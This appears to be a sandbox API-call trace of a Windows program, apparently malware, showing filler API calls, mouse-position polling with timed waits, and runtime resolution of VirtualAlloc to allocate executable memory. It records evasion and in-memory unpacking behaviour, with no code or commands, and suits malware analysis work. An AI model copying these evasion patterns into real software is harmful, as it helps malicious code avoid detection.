	[0079.342] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.342] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.342] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.342] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.342] GetMenuCheckMarkDimensions () returned 983055
	[0079.342] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.342] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.342] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.342] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.342] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.342] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.342] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.342] GetMenuCheckMarkDimensions () returned 983055
	[0079.342] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.342] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.342] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.342] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.342] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.342] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.342] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.342] GetMenuCheckMarkDimensions () returned 983055
	[0079.342] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.342] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.342] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.342] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.342] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.342] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.342] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.342] GetMenuCheckMarkDimensions () returned 983055
	[0079.342] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.342] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.342] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.342] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.343] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.343] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.343] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.343] GetMenuCheckMarkDimensions () returned 983055
	[0079.343] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.343] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.343] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.343] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.343] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.343] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.343] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.343] GetMenuCheckMarkDimensions () returned 983055
	[0079.343] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.343] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.343] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.343] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.343] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.343] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.343] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.343] GetMenuCheckMarkDimensions () returned 983055
	[0079.343] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.343] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.343] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.343] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.343] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.343] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.343] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.343] GetMenuCheckMarkDimensions () returned 983055
	[0079.343] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.343] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.343] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.343] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.343] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.343] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.343] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.343] GetMenuCheckMarkDimensions () returned 983055
	[0079.343] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.344] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.344] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.344] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.344] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.344] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.344] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.344] GetMenuCheckMarkDimensions () returned 983055
	[0079.344] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.344] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.344] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.344] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.344] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.344] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.344] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.344] GetMenuCheckMarkDimensions () returned 983055
	[0079.344] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.344] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.344] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.344] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.344] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.344] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.344] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.344] GetMenuCheckMarkDimensions () returned 983055
	[0079.344] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.344] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.344] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.344] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.344] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.344] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.344] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.344] GetMenuCheckMarkDimensions () returned 983055
	[0079.344] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.344] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.344] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.344] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.345] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.345] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.345] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.345] GetMenuCheckMarkDimensions () returned 983055
	[0079.345] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.345] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.345] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.345] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.345] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.345] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.345] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.345] GetMenuCheckMarkDimensions () returned 983055
	[0079.345] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.345] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.345] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.345] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.345] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.476] GetThemeInt () returned 0x80070006
	[0079.476] GetThemeInt () returned 0x80070006
	[0079.476] GetThemeInt () returned 0x80070006
	[0079.476] GetThemeInt () returned 0x80070006
	[0079.476] GetThemeInt () returned 0x80070006
	[0079.476] GetThemeInt () returned 0x80070006
	[0079.476] GetThemeInt () returned 0x80070006
	[0079.476] GetThemeInt () returned 0x80070006
	[0079.476] GetThemeInt () returned 0x80070006
	[0079.476] GetThemeInt () returned 0x80070006
	[0079.476] GetThemeInt () returned 0x80070006
	[0079.477] GetThemeInt () returned 0x80070006
	[0079.477] GetThemeInt () returned 0x80070006
	[0079.477] GetThemeInt () returned 0x80070006
	[0079.477] GetThemeInt () returned 0x80070006
	[0079.477] GetThemeInt () returned 0x80070006
	[0079.477] GetThemeInt () returned 0x80070006
	[0079.477] GetThemeInt () returned 0x80070006
	[0079.477] GetThemeInt () returned 0x80070006
	[0079.477] GetThemeInt () returned 0x80070006
	[0079.477] GetThemeInt () returned 0x80070006
	[0079.477] GetThemeInt () returned 0x80070006
	[0079.477] GetThemeInt () returned 0x80070006
	[0079.477] GetThemeInt () returned 0x80070006
	[0079.477] GetThemeInt () returned 0x80070006
	[0079.477] GetThemeInt () returned 0x80070006
	[0079.477] GetThemeInt () returned 0x80070006
	[0079.477] GetThemeInt () returned 0x80070006
	[0079.477] GetThemeInt () returned 0x80070006
	[0079.477] GetThemeInt () returned 0x80070006
	[0079.477] GetThemeInt () returned 0x80070006
	[0079.477] GetThemeInt () returned 0x80070006
	[0079.477] GetThemeInt () returned 0x80070006
	[0079.477] GetThemeInt () returned 0x80070006
	[0079.477] GetThemeInt () returned 0x80070006
	[0079.477] GetThemeInt () returned 0x80070006
	[0079.477] GetThemeInt () returned 0x80070006
	[0079.477] GetThemeInt () returned 0x80070006
	[0079.477] GetThemeInt () returned 0x80070006
	[0079.477] GetThemeInt () returned 0x80070006
	[0079.477] GetThemeInt () returned 0x80070006
	[0079.477] GetThemeInt () returned 0x80070006
	[0079.477] GetThemeInt () returned 0x80070006
	[0079.477] GetThemeInt () returned 0x80070006
	[0079.477] GetThemeInt () returned 0x80070006
	[0079.477] GetThemeInt () returned 0x80070006
	[0079.477] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.478] GetThemeInt () returned 0x80070006
	[0079.479] GetThemeInt () returned 0x80070006
	[0079.479] GetThemeInt () returned 0x80070006
	[0079.479] NetShareGetInfo (in: servername="䌴7䋠7瞚\x01", netname="", level=0x1f6, bufptr=0xdef308 | out: bufptr=0xdef308) returned 0x57
	[0079.479] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814c8 | out: hHeap=0x2c80000) returned 1
	[0079.479] InsertMenuItemA (hmenu=0x0, item=0xff21081c, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.479] SHGetFolderPathW (in: hwnd=0x0, csidl=16, hToken=0x0, dwFlags=0x0, pszPath=0xdef3d0 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 0x0
	[0079.483] GetWindowOrgEx (in: hdc=0x1, lppoint=0xdef2d4 | out: lppoint=0xdef2d4) returned 0
	[0079.484] lstrlenW (lpString="C:\\Users\\FD1HVy\\Desktop") returned 23
	[0079.484] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23
	[0079.484] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName="SWISS") returned 0x350
	[0079.484] GetCursorPos (in: lpPoint=0xdef2a4 | out: lpPoint=0xdef2a4*(x=886, y=545)) returned 1
	[0079.484] GetCursorPos (in: lpPoint=0xdef2d4 | out: lpPoint=0xdef2d4*(x=886, y=545)) returned 1
	[0079.484] GetLocalTime (in: lpSystemTime=0xdef3b0 | out: lpSystemTime=0xdef3b0*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x4, wDay=0xc, wHour=0xf, wMinute=0x2d, wSecond=0x2c, wMilliseconds=0x9d)) 
	[0079.484] SystemTimeToVariantTime (in: lpSystemTime=0xdef3b0, pvtime=0xdef2b4 | out: pvtime=0xdef2b4) returned 1
	[0079.484] SystemTimeToVariantTime (in: lpSystemTime=0xdef3b0, pvtime=0xdef288 | out: pvtime=0xdef288) returned 1
	[0079.484] DrawFocusRect (hDC=0x0, lprc=0xdef364) returned 0
	[0079.486] WaitForSingleObject (hHandle=0x350, dwMilliseconds=0xbb6) returned 0x102
	[0082.578] GetCursorPos (in: lpPoint=0xdef2d4 | out: lpPoint=0xdef2d4*(x=886, y=545)) returned 1
	[0082.578] GetLocalTime (in: lpSystemTime=0xdef3b0 | out: lpSystemTime=0xdef3b0*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x4, wDay=0xc, wHour=0xf, wMinute=0x2d, wSecond=0x2f, wMilliseconds=0xfb)) 
	[0082.578] SystemTimeToVariantTime (in: lpSystemTime=0xdef3b0, pvtime=0xdef2b4 | out: pvtime=0xdef2b4) returned 1
	[0082.578] SystemTimeToVariantTime (in: lpSystemTime=0xdef3b0, pvtime=0xdef288 | out: pvtime=0xdef288) returned 1
	[0082.578] DrawFocusRect (hDC=0x0, lprc=0xdef364) returned 0
	[0082.578] WaitForSingleObject (hHandle=0x350, dwMilliseconds=0xbb6) returned 0x102
	[0087.194] GetCursorPos (in: lpPoint=0xdef2d4 | out: lpPoint=0xdef2d4*(x=886, y=545)) returned 1
	[0087.194] GetLocalTime (in: lpSystemTime=0xdef3b0 | out: lpSystemTime=0xdef3b0*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x4, wDay=0xc, wHour=0xf, wMinute=0x2d, wSecond=0x33, wMilliseconds=0x366)) 
	[0087.194] SystemTimeToVariantTime (in: lpSystemTime=0xdef3b0, pvtime=0xdef2b4 | out: pvtime=0xdef2b4) returned 1
	[0087.194] SystemTimeToVariantTime (in: lpSystemTime=0xdef3b0, pvtime=0xdef288 | out: pvtime=0xdef288) returned 1
	[0087.194] DrawFocusRect (hDC=0x0, lprc=0xdef364) returned 0
	[0087.195] BeginDeferWindowPos (nNumWindows=0) returned 0xc01eb
	[0087.195] WaitForSingleObject (hHandle=0x350, dwMilliseconds=0xbb6) returned 0x102
	[0091.469] GetCursorPos (in: lpPoint=0xdef2d4 | out: lpPoint=0xdef2d4*(x=1086, y=270)) returned 1
	[0091.469] GetLocalTime (in: lpSystemTime=0xdef3b0 | out: lpSystemTime=0xdef3b0*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x4, wDay=0xc, wHour=0xf, wMinute=0x2d, wSecond=0x38, wMilliseconds=0x87)) 
	[0091.470] SystemTimeToVariantTime (in: lpSystemTime=0xdef3b0, pvtime=0xdef2b4 | out: pvtime=0xdef2b4) returned 1
	[0091.470] SystemTimeToVariantTime (in: lpSystemTime=0xdef3b0, pvtime=0xdef288 | out: pvtime=0xdef288) returned 1
	[0091.470] DrawFocusRect (hDC=0x0, lprc=0xdef364) returned 0
	[0091.470] BeginDeferWindowPos (nNumWindows=0) returned 0x502d9
	[0091.470] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0x8) returned 0x2c814b8
	[0091.470] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0x20) returned 0x2c814c8
	[0091.470] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0x10) returned 0x2c814f0
	[0091.470] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0x10) returned 0x2c81508
	[0091.470] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0091.470] AppendMenuA (hMenu=0x0, uFlags=0x800, uIDNewItem=0x0, lpNewItem=0x0) returned 0
	[0091.471] SQLDisconnect () returned 0x727cfffe
	[0091.473] SQLDisconnect () returned 0x727cfffe
	[0091.473] SQLDisconnect () returned 0x727cfffe
	[0091.473] SQLDisconnect () returned 0x727cfffe
	[0091.473] SQLDisconnect () returned 0x727cfffe
	[0091.473] SQLDisconnect () returned 0x727cfffe
	[0091.473] SQLDisconnect () returned 0x727cfffe
	[0091.473] SQLDisconnect () returned 0x727cfffe
	[0091.473] SQLDisconnect () returned 0x727cfffe
	[0091.474] SQLDisconnect () returned 0x727cfffe
	[0091.474] SQLDisconnect () returned 0x727cfffe
	[0091.474] SQLDisconnect () returned 0x727cfffe
	[0091.474] SQLDisconnect () returned 0x727cfffe
	[0091.474] SQLDisconnect () returned 0x727cfffe
	[0091.474] SQLDisconnect () returned 0x727cfffe
	[0091.474] SQLDisconnect () returned 0x727cfffe
	[0091.474] SQLDisconnect () returned 0x727cfffe
	[0091.474] SQLDisconnect () returned 0x727cfffe
	[0091.474] SQLDisconnect () returned 0x727cfffe
	[0091.474] SQLDisconnect () returned 0x727cfffe
	[0091.474] SQLDisconnect () returned 0x727cfffe
	[0091.474] SQLDisconnect () returned 0x727cfffe
	[0091.474] SQLDisconnect () returned 0x727cfffe
	[0091.474] SQLDisconnect () returned 0x727cfffe
	[0091.474] SQLDisconnect () returned 0x727cfffe
	[0091.474] SQLDisconnect () returned 0x727cfffe
	[0091.474] SQLDisconnect () returned 0x727cfffe
	[0091.474] SQLDisconnect () returned 0x727cfffe
	[0091.474] SQLDisconnect () returned 0x727cfffe
	[0091.474] SQLDisconnect () returned 0x727cfffe
	[0091.474] SQLDisconnect () returned 0x727cfffe
	[0091.474] SQLDisconnect () returned 0x727cfffe
	[0091.474] SQLDisconnect () returned 0x727cfffe
	[0091.474] SQLDisconnect () returned 0x727cfffe
	[0091.474] SQLDisconnect () returned 0x727cfffe
	[0091.474] SQLDisconnect () returned 0x727cfffe
	[0091.474] SQLDisconnect () returned 0x727cfffe
	[0091.474] SQLDisconnect () returned 0x727cfffe
	[0091.474] SQLDisconnect () returned 0x727cfffe
	[0091.474] SQLDisconnect () returned 0x727cfffe
	[0091.474] SQLDisconnect () returned 0x727cfffe
	[0091.474] SQLDisconnect () returned 0x727cfffe
	[0091.474] SQLDisconnect () returned 0x727cfffe
	[0091.474] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814f0 | out: hHeap=0x2c80000) returned 1
	[0091.474] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c81508 | out: hHeap=0x2c80000) returned 1
	[0091.474] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814c8 | out: hHeap=0x2c80000) returned 1
	[0091.474] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814b8 | out: hHeap=0x2c80000) returned 1
	[0091.474] GdiplusStartup (in: token=0xdef2a8, input=0xdef3b0, output=0x0 | out: token=0xdef2a8, output=0x0) returned 0x0
	[0091.682] GdipGetImageEncodersSize (numEncoders=0xdef300, size=0xdef2fc) returned 0x0
	[0091.928] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x3d78a8 | out: encoders=0x3d78a8) returned 0x0
	[0091.928] LoadLibraryA (lpLibFileName="kernel32") returned 0x772d0000
	[0091.928] LoadLibraryA (lpLibFileName="kernel32") returned 0x772d0000
	[0091.929] LoadLibraryA (lpLibFileName="kernel32") returned 0x772d0000
	[0091.929] LoadLibraryA (lpLibFileName="kernel32") returned 0x772d0000
	[0091.929] LoadLibraryA (lpLibFileName="kernel32") returned 0x772d0000
	[0091.929] Sleep (dwMilliseconds=0x7d0) 
	[0094.079] GetProcAddress (hModule=0x772d0000, lpProcName="VirtualAlloc") returned 0x772e6970
	[0094.080] VirtualAlloc (lpAddress=0x0, dwSize=0x15000, flAllocationType=0x3000, flProtect=0x40) returned 0x2c90000
	[0094.084] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814b8
	[0094.084] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.085] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814e8
	[0094.085] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.085] SendMessageA (hWnd=0x0, Msg=0x1207, wParam=0x0, lParam=0xdef3c0) returned 0x0
	[0094.085] OffsetRect (in: lprc=0xdef3c0, dx=-22201956, dy=0 | out: lprc=0xdef3c0) returned 1
	[0094.085] GetModuleHandleA (lpModuleName="ntdll") returned 0x77970000
	[0094.086] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.099] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.099] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.099] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.099] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
	[0094.099] DrawFrameControl (in: param_1=0x0, param_2=0xdef364, param_3=0x2, param_4=0x2 | out: param_2=0xdef364) returned 0
